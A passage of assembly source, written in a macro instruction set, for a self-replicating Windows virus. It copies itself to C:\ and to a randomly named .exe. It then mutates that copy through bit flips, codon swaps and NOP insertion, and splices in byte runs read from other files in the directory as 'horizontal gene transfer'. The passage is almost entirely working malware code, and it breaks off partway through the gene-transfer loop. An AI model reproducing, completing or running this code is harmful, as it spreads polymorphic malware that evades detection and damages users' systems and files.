  991.     GetAddress APIMagicNumbersReg
  992.     _writeDWord  ; Saves the MagicNumber Pointer
  993.  
  994.  
  995.     _zer0 0
  996.     addnumber 42
  997.     _save
  998.     _pop
  999.     _sub0001
  1000.     _push
  1001.     addnumber 1
  1002.     _xor
  1003.     _JnzUp
  1004.  
  1005.     _pop            ; Remove trash from stack
  1006.  
  1007.  
  1008.     _zer0 0
  1009.     addnumber 0x8007
  1010.     _push
  1011.     CallAPI hSetErrorMode
  1012.  
  1013.     CallAPI hGetTickCount
  1014.  
  1015.  
  1016. ; ############################################################################
  1017. ; ############################################################################
  1018. ; ############################################################################
  1019. ; #####
  1020. ; #####   First child ...
  1021. ; #####
  1022.  
  1023.  
  1024.     GetAddress RandomNumber
  1025.     _saveWrtOff
  1026.     _nopsA
  1027.     _writeDWord      ; mov dword[RandomNumber], RegA
  1028.  
  1029.     _zer0 0
  1030.     _nopdB          ; mov RegB, 0
  1031.  
  1032.  
  1033. ;   RndNameLoop:
  1034.     _getEIP
  1035.     _sub0001
  1036.     _sub0001
  1037.     _sub0001
  1038.     _sub0001
  1039.     _sub0001
  1040.     _saveJmpOff      ; mov esi, eip
  1041.  
  1042.     GetAddress RandomNumber
  1043.  
  1044.     _getdata
  1045.     _nopdA           ; mov eax, [RandomNumber]
  1046.  
  1047.  
  1048.     _zer0 0
  1049.     _nopdD           ; mov edx, 0
  1050.  
  1051.     addnumber 26
  1052.  
  1053.     _div             ; div ebx
  1054.  
  1055.     _nopsD
  1056.     addnumber 97
  1057.     _nopdD           ; add edx, 97
  1058.  
  1059.     _nopsB      ; ebx=ebp=count
  1060.     _save       ; ebp=ebx=ecx=count
  1061.  
  1062.     GetAddress RandomFileName
  1063.                ; ebx=rfn, ebp=ecx=count
  1064.     _addsaved   ; ebx=rfn+count, ebp=ecx=count
  1065.     _saveWrtOff ; edi=rfn+count, ebx=rfn+count, ebp=ecx=count
  1066.  
  1067.  
  1068.     _nopsD
  1069.     _writeByte       ; mov byte[ecx+RandomFileName], dl
  1070.  
  1071.     CalcNewRandNumberAndSaveIt
  1072.  
  1073.     _nopsB
  1074.     addnumber 1
  1075.     _nopdB
  1076.     _save            ; inc counter
  1077.  
  1078.     _zer0 1
  1079.     addnumber 8
  1080.     _subsaved 0     ; cmp counter, 8
  1081.  
  1082.  
  1083.     _JnzUp           ; jnz esi
  1084. ; loop RndNameLoop
  1085.  
  1086.     GetAddress rndext
  1087.     _saveWrtOff
  1088.     _zer0 0
  1089.     addnumber ".exe"
  1090.     _writeDWord      ; create extention
  1091.  
  1092.     CallAPI hGetCommandLineA
  1093.     _zer0 0
  1094.     addnumber 0xFF
  1095.     _save
  1096.  
  1097.     _nopsA
  1098.     _getdata
  1099.     _and
  1100.  
  1101.     _nopdB       ; RegB=1st byte of filename
  1102.     _zer0 0
  1103.     addnumber 34     ; "
  1104.     _nopdD       ; RegD=34
  1105.  
  1106.  
  1107.     _nopsB
  1108.     _save
  1109.     _nopsD
  1110.     _subsaved 0
  1111.  
  1112.     _JnzDown
  1113.         _nopsA
  1114.         _add0001
  1115.         _nopdA
  1116.         _nopREAL
  1117.  
  1118.     _nopsA
  1119.     _push           ; Save RegA at stack
  1120.  
  1121. ; FindEndOfString:
  1122.     _getEIP
  1123.     _sub0001
  1124.     _sub0001
  1125.     _sub0001
  1126.     _sub0001
  1127.     _sub0001
  1128.     _saveJmpOff     ; mov esi, eip
  1129.  
  1130.     _nopsA
  1131.     addnumber 1
  1132.     _nopdA
  1133.  
  1134.     _zer0 0
  1135.     addnumber 0xFF
  1136.     _save
  1137.     _nopsA
  1138.     _getdata
  1139.     _and
  1140.     _nopdD           ; RegD=(dword[Name+count]&& 0xFF)
  1141.  
  1142.     _zer0 0
  1143.     addnumber 34         ; "
  1144.     _save
  1145.     _nopsB           ; 1st Byte of filename
  1146.     _subsaved 1
  1147.  
  1148.     _JnzDown
  1149.         _nopsD
  1150.         _xor
  1151.         _JnzUp
  1152.         _nopREAL
  1153. ; EndFindEndOfString:
  1154.  
  1155.     _nopsA
  1156.     _saveWrtOff
  1157.  
  1158.     _zer0 1
  1159.     addnumber 34         ; "
  1160.     _nopsB           ; 1st Byte of filename
  1161.     _subsaved 0
  1162.     _JnzDown
  1163.         _save
  1164.         _xor
  1165.         _writeByte
  1166.         _nopREAL
  1167.  
  1168.     _pop
  1169.     _nopdA
  1170.  
  1171.  
  1172.     GetAddress Driveletter3-1
  1173.     _saveWrtOff
  1174.     _zer0 0
  1175.     addnumber 0x5C3A4300         ; 0x0, "C:\"
  1176.     _writeDWord
  1177.  
  1178.     GetAddress virusname
  1179.     _saveWrtOff
  1180.     _zer0 0
  1181.     addnumber "evol"
  1182.     _writeDWord
  1183.  
  1184.     GetAddress virusname+4
  1185.     _saveWrtOff
  1186.     _zer0 0
  1187.     addnumber "usss"
  1188.     _writeDWord          ; Construct virusfilename
  1189.  
  1190.     GetAddress virext
  1191.     _saveWrtOff
  1192.     _zer0 0
  1193.     addnumber ".exe"
  1194.     _writeDWord          ; create extention
  1195.  
  1196.     _nopsA
  1197.     _push               ; Save pointer to filename buffer
  1198.     _zer0 0
  1199.     _push
  1200.     GetAddress Driveletter3
  1201.     _push
  1202.     _nopsA
  1203.     _push
  1204.     CallAPI hCopyFileA         ; Copy myself to C:\VIRUSNAME!!! (will not be mutated)
  1205.  
  1206.     _pop
  1207.     _nopdA
  1208.     _zer0 0
  1209.     _push
  1210.     GetAddress RandomFileName
  1211.     _push
  1212.     _nopsA
  1213.     _push
  1214.     CallAPI hCopyFileA         ; Make a copy of myself with random name
  1215.                        ; this copy will be mutated and spreaded
  1216.  
  1217.     _zer0 0
  1218.     _push
  1219.     _push
  1220.     addnumber 3
  1221.     _push
  1222.     _zer0 0
  1223.     _push
  1224.     addnumber 1
  1225.     _push
  1226.     _sub0001
  1227.     addnumber 0xC0000000
  1228.     _push
  1229.     GetAddress RandomFileName
  1230.     _push
  1231.     CallAPI hCreateFileA
  1232.  
  1233.  
  1234.     GetAddress FileHandle
  1235.     _saveWrtOff
  1236.     _nopsA
  1237.     _writeDWord      ; mov dword[FileHandle], RegA
  1238.  
  1239.     _save
  1240.  
  1241.     GetAddress FileSize
  1242.  
  1243.     _push
  1244.     _zer0 1
  1245.     _addsaved
  1246.     _push
  1247.     CallAPI hGetFileSize
  1248.  
  1249.     GetAddress FileSize
  1250.     _saveWrtOff
  1251.     _nopsA
  1252.     _writeDWord      ; mov dword[FileSize], RegA
  1253.  
  1254.     _zer0 1
  1255.     _push
  1256.     _addsaved
  1257.     _push
  1258.     _zer0 0
  1259.     _push
  1260.     addnumber 4
  1261.     _push
  1262.     _zer0 0
  1263.     _push
  1264.     GetAddress FileHandle
  1265.     _getdata
  1266.     _push
  1267.     CallAPI hCreateFileMappingA
  1268.  
  1269.     GetAddress MapHandle
  1270.  
  1271.     _saveWrtOff
  1272.     _nopsA
  1273.     _writeDWord       ; mov dword[MapHandle], RegA
  1274.  
  1275.     _save
  1276.     GetAddress FileSize
  1277.  
  1278.     _getdata
  1279.     _push   ; [FileSize]
  1280.     _zer0 1
  1281.     _push   ; 0
  1282.     _push   ; 0
  1283.     addnumber 2
  1284.     _push
  1285.     _zer0 1
  1286.     _addsaved
  1287.     _push   ; MapHandle
  1288.  
  1289.     CallAPI hMapViewOfFile
  1290.  
  1291.     GetAddress MapPointer
  1292.  
  1293.     _saveWrtOff
  1294.     _nopsA
  1295.     _writeDWord      ; mov dword[MapPointer], RegA
  1296.  
  1297.     _nopsA
  1298.     _nopdB          ; mov RegB, RegA+AminoStartInMap
  1299.  
  1300.  
  1301.  
  1302.  
  1303. ; ############################################################################
  1304. ; ############################################################################
  1305. ; #####
  1306. ; #####  Here the mutation happens: Bitmutation, exchange of codons, ...
  1307. ; #####
  1308.  
  1309. ;ANextByteInChain:
  1310.     _getEIP
  1311.     _sub0001
  1312.     _sub0001
  1313.     _sub0001
  1314.     _sub0001
  1315.     _sub0001
  1316.     _saveJmpOff      ; mov BA2, eip
  1317.  
  1318.     _nopsB
  1319.     _push            ; push counter
  1320.  
  1321.  
  1322. ; ############################################################################
  1323. ; ##### Start Bit-Flip Mutation (Point-Mutation)
  1324.  
  1325.     _zer0 0
  1326.     addnumber 12
  1327.     _save
  1328.  
  1329.     GetAddress RandomNumber
  1330.  
  1331.     _getdata
  1332.     _shr
  1333.     _push
  1334.  
  1335.     _zer0 0
  1336.     addnumber 7
  1337.     _save
  1338.  
  1339.     _pop
  1340.     _and             ; BC1=[RandomNumber shr 12] && 0111b
  1341.     _save
  1342.  
  1343.     _zer0 1
  1344.     addnumber 1
  1345.     _shl             ; shl BC1, BC2
  1346.     _save
  1347.  
  1348.     _pop
  1349.     _push
  1350.     _saveWrtOff      ; BA1=[MapPointer]+counter
  1351.  
  1352.     _getdata         ; mov BC1, dword[BC1]
  1353.     _xor             ; xor BC1, BC2
  1354.     _nopdB           ; save changed byte
  1355.  
  1356.  
  1357.     _zer0 0
  1358.     addnumber 7
  1359.     _save
  1360.  
  1361.     GetAddress RandomNumber
  1362.  
  1363.     _getdata
  1364.     _nopdA
  1365.  
  1366.     _zer0 1
  1367.     _nopdD
  1368.  
  1369.     addnumber VarThreshold1
  1370.  
  1371.     _div
  1372.     _nopsD
  1373.     _subsaved 0
  1374.     _JnzDown
  1375.         _nopsB           ; restore
  1376.         _writeByte       ; save mutation!
  1377.         _nopREAL
  1378.         _nopREAL
  1379.  
  1380.  
  1381. ; ##### Finished Bit-Flip Mutation (Point-Mutation)
  1382. ; ############################################################################
  1383.  
  1384.  
  1385.     CalcNewRandNumberAndSaveIt
  1386.  
  1387.  
  1388. ; ############################################################################
  1389. ; ##### Start codons exchange
  1390.  
  1391.  
  1392.     GetAddress xchgBuffer
  1393.     _saveWrtOff
  1394.  
  1395.     _pop
  1396.     _push                ; get counter
  1397.  
  1398.     _getdata
  1399.     _writeDWord          ; xchgBuffer=dword[counter]
  1400.  
  1401.     _pop
  1402.     _push                ; get counter
  1403.     _saveWrtOff          ; save destination for potential writing
  1404.  
  1405.     addnumber 4
  1406.     _getdata
  1407.     _nopdB               ; RegB=dword[counter+4]
  1408.  
  1409.  
  1410.     _zer0 0
  1411.     addnumber 7
  1412.     _save
  1413.     GetAddress RandomNumber
  1414.  
  1415.     _getdata
  1416.     _nopdA
  1417.  
  1418.     _zer0 1
  1419.     _nopdD
  1420.  
  1421.     addnumber xchgThreshold1
  1422.  
  1423.     _div
  1424.     _nopsD
  1425.     _subsaved 0
  1426.  
  1427.     _JnzDown         ; if not zero, dont exchange codons
  1428.         _nopsB           ; restore
  1429.         _writeDWord          ; save mutation!
  1430.         _nopREAL
  1431.         _nopREAL
  1432.  
  1433.     GetAddress xchgBuffer
  1434.     _getdata
  1435.  
  1436.     _nopdB
  1437.  
  1438.     _pop
  1439.     _push            ; get counter
  1440.     addnumber 4
  1441.     _saveWrtOff
  1442.  
  1443.  
  1444.     _zer0 0
  1445.     addnumber 7
  1446.     _save
  1447.     GetAddress RandomNumber
  1448.  
  1449.     _getdata
  1450.     _nopdA
  1451.  
  1452.     _zer0 1
  1453.     _nopdD
  1454.  
  1455.     addnumber xchgThreshold1
  1456.  
  1457.     _div
  1458.     _nopsD
  1459.     _subsaved 0
  1460.  
  1461.     _JnzDown         ; if not zero, dont exchange codons
  1462.         _nopsB           ; restore
  1463.         _writeDWord          ; save mutation!
  1464.         _nopREAL
  1465.         _nopREAL
  1466.  
  1467.  
  1468.  
  1469.     CalcNewRandNumberAndSaveIt
  1470.  
  1471.  
  1472.     _pop
  1473.     addnumber 1
  1474.     _nopdB           ; inc counter
  1475.  
  1476.     GetAddress MapPointer
  1477.     _getdata
  1478.     _save
  1479.     _zer0 1
  1480.  
  1481.     GetAddress FileSize
  1482.     _getdata
  1483.  
  1484.     _sub0001
  1485.     _sub0001
  1486.     _sub0001
  1487.     _sub0001
  1488.     _sub0001
  1489.     _sub0001
  1490.     _sub0001
  1491.     _sub0001
  1492.     _sub0001     ; Dont mutate the last 9 bytes because of xchg problems
  1493.  
  1494.     _addsaved
  1495.     _save            ; mov save, [MapPointer]+GenomEndInMap
  1496.  
  1497.     _nopsB
  1498.     _subsaved 0     ; cmp counter, [MapPointer]+GenomEndInMap
  1499.     _JnzUp           ; jnz esi
  1500. ; loop ANextByteInChain
  1501.  
  1502. ; ##### Finished codons exchange
  1503. ; ############################################################################
  1504.  
  1505.  
  1506. ; ############################################################################
  1507. ; ##### Start of NOP Insertion
  1508. ;
  1509. ; nBeforeIns = rand() % FileSize
  1510. ; nBlockSize = (rand() % 32) + 1
  1511. ; nByteBlockToMov = (rand() % (FileSize-nBeforeIns)) + 1
  1512. ;
  1513. ; InsStart       = MapPoint + nBeforeIns
  1514. ; BlockEndBefore = MapPoint + nBeforeIns + nByteBlockToMov
  1515. ; InsEnd         = MapPoint + nBeforeIns + nBlockSize
  1516. ; BlockEndAfter  = MapPoint + nBeforeIns + nBlockSize + nByteBlockToMov
  1517. ;
  1518. ;    File before NOP Insertion:                File after NOP Insertion:
  1519. ;
  1520. ;    | ---------------- MapPoint               | ---------------- MapPoint
  1521. ;    | \                                       | \
  1522. ;    |  \                                      |  \
  1523. ;    |   > nBeforeIns                          |   > nBeforeIns
  1524. ;    |  /                                      |  /
  1525. ;    | /                                       | /
  1526. ;    | --------------- InsStart                | --------------- InsStart
  1527. ;    | \                                       | \                   ; _nopREAL
  1528. ;    |  \                                      |  > nBlockSize       ; _nopREAL
  1529. ;    |   \                                     | /                   ; _nopREAL
  1530. ;    |    > nByteBlockToMov                    | --------------- InsEnd
  1531. ;    |   /                                     | \
  1532. ;    |  /                                      |  \
  1533. ;    | /                                       |   \
  1534. ;    | --------------- BlockEndBefore          |    > nByteBlockToMov
  1535. ;    |                                         |   /
  1536. ;    |                                         |  /
  1537. ;    |                                         | /
  1538. ;    |                                         | --------------- BlockEndAfter
  1539. ;    |                                         |
  1540. ;    |    Rest of file                         |
  1541. ;    |                                         |
  1542. ;    |                                         |   Rest of file*
  1543. ;    |                                         |
  1544. ;    |                                         |
  1545. ;    | ----------------                        | ----------------
  1546. ;
  1547. ;    In PseudoCode:
  1548. ;    ==============
  1549. ;
  1550. ;    c=nByteBlockToMov;
  1551. ;    do
  1552. ;        *(InsEnd+c)==*(InsStart+c)
  1553. ;    while --c
  1554. ;
  1555. ;    c=nBlockSize;
  1556. ;    do
  1557. ;        *(InsStart+c)==_nopREAL
  1558. ;    while --c
  1559. ;
  1560. ;
  1561. ;
  1562.     GetAddress RandomNumber
  1563.  
  1564.     _getdata
  1565.     _nopdA
  1566.     _zer0 0
  1567.     _nopdD
  1568.  
  1569.     addnumber InsertThreshold1
  1570.  
  1571.     _div
  1572.     _nopsD
  1573.  
  1574.     _push            ; Save Result = (rand() % InsertThreshold1)
  1575.  
  1576.     CalcNewRandNumberAndSaveIt
  1577.  
  1578.  
  1579.  
  1580.  
  1581.  
  1582.     GetAddress RandomNumber         ; -> nBeforeIns = rand() % FileSize
  1583.     _getdata
  1584.     _nopdA                   ; mov RegA, [RandomNumber]
  1585.  
  1586.     _zer0 0
  1587.     _nopdD                   ; mov RegD, 0
  1588.  
  1589.     GetAddress FileSize
  1590.     _getdata
  1591.     _nopdB                   ; RegB=FileSize
  1592.  
  1593.     _div                     ; div BC1 <- RegD = rand() % FileSize = nBeforeIns
  1594.  
  1595.     GetAddress InsStart
  1596.     _saveWrtOff
  1597.  
  1598.     _nopsD                   ; BC1=nBeforeIns
  1599.     _save                    ; BC2=nBeforeIns
  1600.  
  1601.     _nopsB                   ; BC1=FileSize
  1602.     _subsaved 1             ; BC1=(FileSize-nBeforeIns)
  1603.     _nopdB                   ; RegB=(FileSize-nBeforeIns)
  1604.  
  1605.     GetAddress MapPointer
  1606.     _getdata                 ; BC1=MapPoint
  1607.     _addsaved                ; BC1=MapPoint + nBeforeIns = InsStart
  1608.  
  1609.     _writeDWord              ; !!! InsStart=MapPoint + nBeforeIns
  1610.     _push
  1611.  
  1612.  
  1613.  
  1614.     CalcNewRandNumberAndSaveIt      ; -> nBlockSize = rand() % 32
  1615.  
  1616.     GetAddress nBlockSize
  1617.     _saveWrtOff
  1618.  
  1619.     GetAddress RandomNumber
  1620.     _getdata
  1621.     _nopdA                   ; mov RegA, [RandomNumber]
  1622.  
  1623.     _zer0 0
  1624.     _nopdD                   ; mov RegD, 0
  1625.     addnumber 32
  1626.  
  1627.     _div                     ; div BC1 <- RegD = rand() % 32 = nBlockSize
  1628.  
  1629.  
  1630.  
  1631.     _nopsD                   ; BC1=nBlockSize
  1632.     addnumber 1
  1633.     _writeDWord              ; !!! nBlockSize
  1634.  
  1635.     _save                    ; BC2=nBlockSize
  1636.  
  1637.     GetAddress InsEnd
  1638.     _saveWrtOff
  1639.  
  1640.     _pop                     ; BC1 = InsStart
  1641.     _addsaved                ; BC1 = InsStart + nBlockSize = InsEnd
  1642.  
  1643.     _writeDWord              ; !!! InsEnd
  1644.  
  1645.  
  1646.  
  1647.     CalcNewRandNumberAndSaveIt      ; -> nByteBlockToMov = rand() % (FileSize-nBeforeIns)
  1648.  
  1649.     GetAddress nByteBlockToMov
  1650.     _saveWrtOff
  1651.  
  1652.     GetAddress RandomNumber
  1653.     _getdata
  1654.     _nopdA                   ; mov RegA, [RandomNumber]
  1655.  
  1656.     _zer0 0
  1657.     _nopdD                   ; mov RegD, 0
  1658.  
  1659.     _nopsB                   ; BC1=(FileSize-nBeforeIns)
  1660.  
  1661.     _div
  1662.  
  1663.     _nopsD                   ; BC1=nByteBlockToMov
  1664.     addnumber 1
  1665.     _writeDWord              ; !!! nByteBlockToMov
  1666.  
  1667. ;;;;;;;;;;;;;;;;;;;;;;;
  1668. ;    c=nByteBlockToMov;
  1669. ;    do
  1670. ;        *(InsEnd+c)==*(InsStart+c)
  1671. ;    while --c
  1672.  
  1673.     GetAddress InsStart
  1674.     _getdata
  1675.     _nopdA           ; RegA=InsStart
  1676.  
  1677.     GetAddress InsEnd
  1678.     _getdata
  1679.     _nopdB           ; RegB=InsEnd
  1680.  
  1681.     GetAddress nByteBlockToMov
  1682.     _getdata
  1683.     _nopdD           ; RegD=nByteBlockToMov=c
  1684.  
  1685. ; do
  1686.     _getEIP
  1687.     _sub0001
  1688.     _sub0001
  1689.     _sub0001
  1690.     _sub0001
  1691.     _sub0001
  1692.     _saveJmpOff      ; mov BA2, eip
  1693.  
  1694.     _nopsD           ; BC1=c
  1695.     _save            ; BC2=c
  1696.  
  1697.     _nopsB           ; BC1=InsEnd
  1698.     _addsaved        ; BC1=InsEnd+c
  1699.     _saveWrtOff      ; BA1=InsEnd+c
  1700.  
  1701.  
  1702.     _pop             ; If BC1=0: mutate
  1703.     _push
  1704.     addnumber 1
  1705.     _sub0001         ; Get the zer0 flag
  1706.     _JnzDown
  1707.         _nopsA           ; BC1=InsStart
  1708.         _addsaved        ; BC1=InsStart+c
  1709.         _getdata         ; BC1=*(InsStart+c)
  1710.         _writeByte       ; *(InsEnd+c)==*(InsStart+c)
  1711.  
  1712.     _nopsD
  1713.     _sub0001
  1714.     _nopdD           ; RegD=c-1
  1715.  
  1716.     _JnzUp
  1717. ; while --c
  1718.  
  1719. ;;;;;;;;;;;;;;;;;;;;;;;
  1720. ;    c=nBlockSize;
  1721. ;    do
  1722. ;        *(InsStart+c)==_nopREAL
  1723. ;    while --c
  1724.  
  1725. ; Already set:
  1726. ;        GetAddress InsStart
  1727. ;        _getdata
  1728. ;        _nopdA               ; RegA=InsStart
  1729.  
  1730.     _zer0 0
  1731.     addnumber 144
  1732.     _nopdB
  1733.  
  1734.     GetAddress nBlockSize
  1735.     _getdata
  1736.     _nopdD           ; RegD=nBlockSize=c
  1737.  
  1738.  
  1739. ; do
  1740.     _getEIP
  1741.     _sub0001
  1742.     _sub0001
  1743.     _sub0001
  1744.     _sub0001
  1745.     _sub0001
  1746.     _saveJmpOff      ; mov BA2, eip
  1747.  
  1748.     _nopsD           ; BC1=c
  1749.     _save            ; BC2=c
  1750.  
  1751.     _nopsA           ; BC1=InsStart
  1752.     _addsaved        ; BC1=InsStart+c
  1753.     _saveWrtOff      ; BA1=InsStart+c
  1754.  
  1755.  
  1756.  
  1757.     _pop             ; If BC1=0: mutate
  1758.     _push
  1759.     addnumber 1
  1760.     _sub0001         ; Get the zer0 flag
  1761.     _JnzDown
  1762.         _nopREAL
  1763.         _nopREAL
  1764.         _nopsB
  1765.         _writeByte       ; *(InsStart+c)==_nopREAL
  1766.  
  1767.     _nopsD
  1768.     _sub0001
  1769.     _nopdD           ; RegD=c-1
  1770.  
  1771.     _JnzUp
  1772. ; while --c
  1773.  
  1774.     _pop         ; remove (rand() % InsertThreshold1) from Stack
  1775.  
  1776.  
  1777. ; ##### End of Insertion
  1778. ; ############################################################################
  1779.  
  1780.  
  1781. ;        _int3
  1782.  
  1783. ; ############################################################################
  1784. ; ##### Start of horizontal gene transfer
  1785.  
  1786.     _zer0 0                ; BC1=0
  1787.     addnumber ((HGTEnd1-HGTStart1)*8)  ; size of block
  1788.  
  1789.     _save
  1790.  
  1791.  
  1792.     _getEIP
  1793.  
  1794.      HGTStart1:
  1795.     addnumber 3
  1796.     _addsaved
  1797.     _nopdB                   ; Save Addresse in RegB
  1798.  
  1799.  
  1800.     CalcNewRandNumberAndSaveIt      ; -> HGTThreshold1
  1801.  
  1802.     GetAddress RandomNumber
  1803.     _getdata
  1804.     _nopdA                   ; mov RegA, [RandomNumber]
  1805.  
  1806.     _zer0 0
  1807.     _nopdD                   ; mov RegD, 0
  1808.     addnumber HGTThreshold1
  1809.  
  1810.     _div                     ; div BC1 <- RegD = rand() % HGTThreshold1
  1811.  
  1812.     _nopsD
  1813.     _save
  1814.     _and                     ; Is zero?
  1815.  
  1816.     _JnzDown                 ; Simulate a JzDown
  1817.  
  1818.         _nopREAL     ; BC1=0
  1819.         _nopREAL
  1820.         _add0001
  1821.         _JnzDown
  1822.  
  1823.  
  1824.             _nopsB     ; BC1!=0
  1825.             _call      ; jmp over HGT
  1826.             _nopREAL
  1827.             _nopREAL
  1828.  
  1829.  
  1830.     GetAddress HGT_searchmask
  1831.     _saveWrtOff
  1832.     _zer0 0
  1833.     addnumber 0x002A2E2A
  1834.     _writeDWord
  1835.  
  1836.  
  1837.     GetAddress WIN32_FIND_DATA_struct
  1838.     _push
  1839.     GetAddress HGT_searchmask
  1840.     _push
  1841.     CallAPI hFindFirstFileA
  1842.  
  1843.  
  1844.     GetAddress HGT_FFHandle
  1845.     _saveWrtOff
  1846.     _nopsA
  1847.     _writeDWord           ; Save FindHandle
  1848.  
  1849.     _getEIP
  1850.     _sub0001
  1851.     _sub0001
  1852.     _sub0001
  1853.     _sub0001
  1854.     _sub0001
  1855.     _saveJmpOff      ; Start of the loop
  1856.  
  1857.  
  1858.         ; Calculate the call addresse if the file is not ok
  1859.         _zer0 0
  1860.         addnumber ((HGTFileEnd1-HGTFileStart1)*8)
  1861.         _save
  1862.  
  1863.         _getEIP
  1864.  
  1865.      HGTFileStart1:
  1866.         addnumber 3
  1867.         _addsaved
  1868.         _push                    ; Save Addresse on Stack
  1869.  
  1870.         GetAddress HGTFileHandle        ; Handle to zero because it will
  1871.                             ; be Closed later in any case,
  1872.                             ; except for [Handle]==0x0
  1873.         _saveWrtOff
  1874.         _zer0 0
  1875.         _writeDWord
  1876.  
  1877.         GetAddress HGTMapHandle
  1878.         _saveWrtOff
  1879.         _zer0 0
  1880.         _writeDWord
  1881.  
  1882.         GetAddress HGTDidInsert
  1883.         _saveWrtOff
  1884.         _zer0 0
  1885.         _sub0001
  1886.         _writeDWord
  1887.  
  1888.         _zer0 0                    ; Is it a directory?
  1889.         addnumber FILE_ATTRIBUTE_DIRECTORY
  1890.         _save
  1891.         GetAddress WIN32_FIND_DATA_dwFileAttributes
  1892.         _getdata
  1893.         _subsaved 0
  1894.  
  1895.         _JnzDown                 ; Simulate a JzDown
  1896.             _pop     ; BC1=0
  1897.             _push
  1898.             _call    ; If directory -> Do not open...
  1899.             _nopREAL
  1900.  
  1901.  
  1902.         CalcNewRandNumberAndSaveIt
  1903.  
  1904.         GetAddress RandomNumber
  1905.         _getdata
  1906.         _nopdA
  1907.  
  1908.         _zer0 0
  1909.         _nopdD
  1910.  
  1911.         addnumber 5
  1912.         _div
  1913.  
  1914.         _nopsD
  1915.         _save
  1916.         _and
  1917.  
  1918.         _JnzDown                 ; Simulate a JzDown
  1919.  
  1920.             _nopREAL   ; BC=0
  1921.             _nopREAL
  1922.             _add0001
  1923.             _JnzDown
  1924.  
  1925.                 _pop     ; BC!=0
  1926.                 _push
  1927.                 _call    ; Not this file...
  1928.                 _nopREAL
  1929.  
  1930.  
  1931.         ; OPEN FILE NOW
  1932.         _zer0 0
  1933.         _push
  1934.         _push
  1935.         addnumber 3
  1936.         _push
  1937.         _zer0 0
  1938.         _push
  1939.         addnumber 1
  1940.         _push
  1941.         _sub0001
  1942.         addnumber 0xC0000000
  1943.         _push
  1944.         GetAddress WIN32_FIND_DATA_cFileName
  1945.         _push
  1946.         CallAPI hCreateFileA
  1947.  
  1948.         GetAddress HGTFileHandle
  1949.         _saveWrtOff
  1950.         _nopsA
  1951.         _writeDWord      ; mov dword[HGTFileHandle], RegA
  1952.  
  1953.         _save
  1954.  
  1955.         _nopsA
  1956.         addnumber 1     ; INVALID_HANDLE_VALUE=-1
  1957.                     ; -> if error: BC1=0
  1958.  
  1959.         _JnzDown                 ; Simulate a JzDown
  1960.             _pop     ; BC1=0
  1961.             _push
  1962.             _call    ; If INVALID_HANDLE_VALUE -> Do not open...
  1963.             _nopREAL
  1964.  
  1965.         GetAddress HGTFileSize
  1966.  
  1967.         _push
  1968.         _zer0 1
  1969.         _addsaved
  1970.         _push
  1971.         CallAPI hGetFileSize
  1972.  
  1973.         GetAddress HGTFileSize
  1974.         _saveWrtOff
  1975.         _nopsA
  1976.         _writeDWord      ; mov dword[HGTFileSize], RegA
  1977.  
  1978.         _zer0 1
  1979.         _push
  1980.         _addsaved
  1981.         _push
  1982.         _zer0 0
  1983.         _push
  1984.         addnumber 4
  1985.         _push
  1986.         _zer0 0
  1987.         _push
  1988.         GetAddress HGTFileHandle
  1989.         _getdata
  1990.         _push
  1991.         CallAPI hCreateFileMappingA
  1992.  
  1993.  
  1994.         GetAddress HGTMapHandle
  1995.  
  1996.         _saveWrtOff
  1997.         _nopsA
  1998.         _writeDWord       ; mov dword[HGTMapHandle], RegA
  1999.  
  2000.         _save
  2001.  
  2002.         _nopsA
  2003.         _save
  2004.         _and
  2005.         _JnzDown                 ; Simulate a JzDown
  2006.  
  2007.             _pop     ; BC1=0
  2008.             _push
  2009.             _call    ; If NULL -> Do not open...
  2010.             _nopREAL
  2011.  
  2012.         GetAddress HGTFileSize
  2013.  
  2014.         _getdata
  2015.         _push   ; [HGTFileSize]
  2016.         _zer0 1
  2017.         _push   ; 0
  2018.         _push   ; 0
  2019.         addnumber 2
  2020.         _push
  2021.         _zer0 1
  2022.         _addsaved
  2023.         _push   ; MapHandle
  2024.  
  2025.         CallAPI hMapViewOfFile
  2026.  
  2027.         GetAddress HGTMapPointer
  2028.  
  2029.         _saveWrtOff
  2030.         _nopsA
  2031.         _writeDWord      ; mov dword[HGTMapPointer], RegA
  2032.  
  2033.         _nopsA
  2034.         _save
  2035.         _and
  2036.         _JnzDown     ; Simulate a JzDown
  2037.             _pop     ; BC1=0
  2038.             _push
  2039.             _call    ; If NULL -> Do not open...
  2040.             _nopREAL
  2041.  
  2042.  
  2043.         CalcNewRandNumberAndSaveIt
  2044.  
  2045.         GetAddress RandomNumber
  2046.         _getdata
  2047.         _nopdA
  2048.  
  2049.         _zer0 0
  2050.         _nopdD
  2051.  
  2052.         GetAddress HGTFileSize
  2053.         _getdata
  2054.  
  2055.         _div
  2056.  
  2057.         _nopsD
  2058.         _save
  2059.  
  2060.         GetAddress HGTMapPointer
  2061.         _getdata
  2062.  
  2063.         _addsaved
  2064.  
  2065.         _push            ; Start in sourcefile
  2066.  
  2067.  
  2068.         CalcNewRandNumberAndSaveIt
  2069.  
  2070.         GetAddress RandomNumber
  2071.         _getdata
  2072.         _nopdA
  2073.  
  2074.         _zer0 0
  2075.         _nopdD
  2076.  
  2077.         GetAddress FileSize
  2078.         _getdata
  2079.  
  2080.         _div
  2081.  
  2082.         _nopsD
  2083.         _save
  2084.  
  2085.         GetAddress MapPointer
  2086.         _getdata
  2087.         _addsaved
  2088.  
  2089.         _push            ; Start in my file
  2090.  
  2091.  
  2092.         CalcNewRandNumberAndSaveIt
  2093.  
  2094.         GetAddress RandomNumber
  2095.         _getdata
  2096.         _nopdA
  2097.  
  2098.         _zer0 0
  2099.         _nopdD
  2100.  
  2101.         addnumber 11
  2102.  
  2103.         _div
  2104.         _nopsD
  2105.         addnumber 1
  2106.         _nopdD
  2107.  
  2108.         ; Size in RegD
  2109.  
  2110.  
  2111.         _pop         ; Start in my file
  2112.         _nopdB
  2113.  
  2114.  
  2115.         _pop         ; Start in victim file
  2116.         _nopdA
  2117.  
  2118.         _pushall
  2119.         _getEIP
  2120.         _sub0001
  2121.         _sub0001
  2122.         _sub0001
  2123.         _sub0001
  2124.         _sub0001
  2125.  
  2126.         _saveJmpOff      ; Save everything, especially the old BA2
  2127.  
  2128.             _nopsB
  2129.             _saveWrtOff
  2130.             addnumber 1
  2131.             _nopdB
  2132.  
  2133.             _nopsA
  2134.             addnumber 1
  2135.             _nopdA
  2136.             _sub0001
  2137.             _getdata
  2138.  
  2139.             _writeByte
  2140.  
  2141.             _nopsD
  2142.             _sub0001
  2143.             _nopdD
  2144.  
  2145.         _JnzUp
  2146.         _popall          ; Get old BA2 again
  2147.  
  2148.         GetAddress HGTDidInsert     ; 0=already written
